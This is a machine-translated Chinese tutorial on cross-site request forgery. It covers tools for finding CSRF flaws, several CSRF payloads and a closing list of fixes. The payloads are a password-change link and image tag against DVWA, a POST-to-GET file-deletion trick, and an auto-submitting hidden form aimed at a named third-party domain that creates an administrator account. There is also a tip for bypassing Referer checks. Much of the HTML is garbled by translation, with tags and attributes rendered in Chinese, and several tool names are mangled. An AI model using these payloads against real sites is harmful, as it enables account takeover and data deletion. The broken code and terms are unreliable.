一、CSRF介绍CSRF(Cross-site request forgery)全称“跨站请求伪造”,也被称为“One Click Attack”或者“Session Riding”,通常缩写为CSR…
首先,CSRF介绍
CSRF(跨站点请求伪造)全名“跨站点请求伪造”,也称为“一键攻击”或“会话骑行”,通常缩写为CSRF或XSRF,是对网站的恶意使用。虽然听起来像跨站点脚本(XSS),但它与XSS非常不同,并且攻击方法几乎相同。 XSS利用站点内的可信用户,而CSRF通过伪装来自可信用户的请求来利用可信站点。与XSS攻击相比,CSRF攻击通常不太受欢迎(因此资源不那么稀缺)且难以预防,因此被认为比XSS更危险。
您可以通过以下方式了解CSRF攻击:攻击者窃取了您的身份并代表您执行了一些非法操作。 CSRF可以使用您的帐户发送电子邮件,获取您的敏感信息,甚至窃取您的帐户。
二:CSRF原则
受害者 - 用户对当前登录的Web应用程序执行意外操作。
攻击者 - 欺骗浏览器并让它代表受害者执行您想要的操作
例如:
当用户打开或登录网站时,浏览器和存储网站的服务器将生成会话。当会话未结束时,用户可以使用用户的权限在网站上执行某些操作,例如修改数据和交易。支付,删除文件等。当用户在会话结束后完成某些操作时,WEB应用程序将提示“当前会话已过期”和“请再次登录”。
攻击者构造修改用户密码的请求。通过欺骗已登录到WEB应用程序的受害者,受害者以他或她自己的身份执行意外操作,并且修改后的密码由攻击者控制。这导致受害者的密码被恶意修改。
CSRF攻击在浏览器和WEB服务器之间的会话中建立,并且通过欺骗用户访问URL来攻击目标。
三,漏洞挖掘
1、自动化扫描工具
Netspark
的AWV
AppScan的
通常,上述工具可用于扫描网站以查找CSRF漏洞。但是向工具添加登录参数可以大大提高挖掘的成功率。
2、半自动检测工具
CSRFTester
下载地址:https://www.owasp.org/index.php/File: CSRFTester-1.0.zip
1.安装CSRFTester

打开run.bat打开工具,但需要java环境


出现消息框时,表明该工具已开始侦听本地端口8008.此时,您需要配置浏览器代理。
2. 设置浏览器代理(以sogou浏览器为例)
单击工具栏 - 代理设置 - 添加新代理,添加并启用代理。

3.用户登录
单击“开始录制”以开始检测CSRFTester,以便将来记录我们访问的所有URL和参数。
4.通过CSRFTester抓取并伪造请求
当您登录网站帐户时,CSRF Tester将抓取

我们抓住了请求,在Step属性中添加了请求,然后在Form Parameter中修改了表单中的参数,如用户,然后单击Generate HTML按钮(您可以选择其他格式:Forms,IFrame等)来生成CSRF攻击脚本。

随机生成攻击脚本并将其上载到服务器以传输给受害者。
CSRF PoC发电机
打开bulpsuite,右键单击任何HTTP请求,选择Engagement tools,然后单击Generate CSRF POC以生成CSRF POC。


该工具也是基于请求参数生成的POC。您可以单击浏览器中的测试按钮进行测试。单击它后,您将使用此POC进行攻击。
以上两个工具可以拦截所有请求。渗透测试人员可以修改密码并删除登录状态下的文件。该工具将拦截已发送的请求,然后该工具生成的POC可以验证是否存在漏洞。
四,手动测试实例
1、利用csrf修改用户密码
2、利用csrf删除文件
3、突破CSRF验证
4.1、任意修改用户密码
转到“更改密码”页面,输入修改后的密码,重复输入的密码,然后单击“提交”以获取get方法的请求数据包,如下所示:
http://127.0.0.1: 2003/dvwa1.9/vulnerabilities/csrf /?password_new=123456& password_conf=123456& Change=Change
然后我们的密码更改为123456.如果我们将链接发送给已登录到平台的用户,浏览器将自动使用他的cookie执行参数来更改密码。
伪造一个html文件,将其上传到ftp服务器,并伪造到受害者的链接以执行此参数。
html代码如下:
< HTML>
< head>
< title> csrf test</title>
</head>
< body>
< form action='http://127.0.0.1: 2003/dvwa1.9/vulnerabilities/csrf /'>
<输入 类型='隐藏' 名称='密码_新' 值='12345678' />
<输入 类型='隐藏' name='password_conf' value='12345678' />
<输入 类型='隐藏' 名称='更改' 值'更改' />
<输入 类型='提交' 值'母图下载' />
</form>
</body>
</HTML>
另一个HTML表单,上传FTP空间,将URL发送给用户打开
< img src='http://127.0.0.1: 2003/dvwa1.9/vulnerabilities/csrf /?password_new=123456& password_conf=123456& Change=Change'frameborder='0'width='0px'/>
4.2、删除任意文件
在网站后台功能中,有一个删除文件的请求,请求包(POST模式)被构造成GET模式。当管理员打开连接时,该文件将被删除,并且该链接可以隐藏在服务器上,并且管理员很想打开。
如果是GET模式,则可以将直接复制请求链接发送给受害者。如果POST方法可以更改为GET模式,则方法如下:
1.选择已删除的文件并在删除时捕获它。
2. POST后复制参数,例如delete=/web& id=index.php
3.使用&amp ;将其参数连接到URL。符号,例如http://www.xxxx.xxxx/admin.php?xxxxx& delete=/web& id=index.php
4.根据GET方法将受害者发送给受害者。
4.3、突破CSRF验证
当网站只允许POST请求模式时,我们构造的GET方法攻击将无效。这是我们可以构造一个HTML页面并将POST请求的参数提交给表单以供提交。代码是:
< HTML>
< head>
��lt; title> csrf test</title>
</head>
< body>
< iframe frameborder='0' name='myifare' width='0px' height='0px'</iframe>
< form id='myfrom' method='post' action='http://www.hcdegz.com/chuangjiang'>
< input type='hidden' name='username' value='admin' />
<输入 类型='隐藏' 名称='密码' 值='12345678' />
<输入 类型='隐藏' 名称='更改' 值'更改' />
</form>
<脚本>
var myfrom =document.getElementById('myfrom')
myfrom.submit();
< /脚本>
</body>
</HTML>
当管理员访问上载到服务器的页面时,将自动创建管理员帐户。
注意:某些网站使用某些安全策略。每当发送请求时,它将匹配请求包中的前一页的源是否是网站本身,即引用标头。此时,我们在将HTML页面发送给受害者时使其无效。现在,我们可以创建一个与站点上的页面同名的目录,并且有机会绕过这种防御机制。
五,修复方法
1.当用户发送重要请求时,需要输入原始密码。
2,设置随机令牌
3.检查引用来源。请求时,判断请求链接是否是当前管理员正在使用的页面。 (管理员正在编辑文章,黑客发送恶意密码更改链接。由于密码更改页面管理员未运行,攻击失败。)
4,设置验证码
5,限制请求方法只能是POST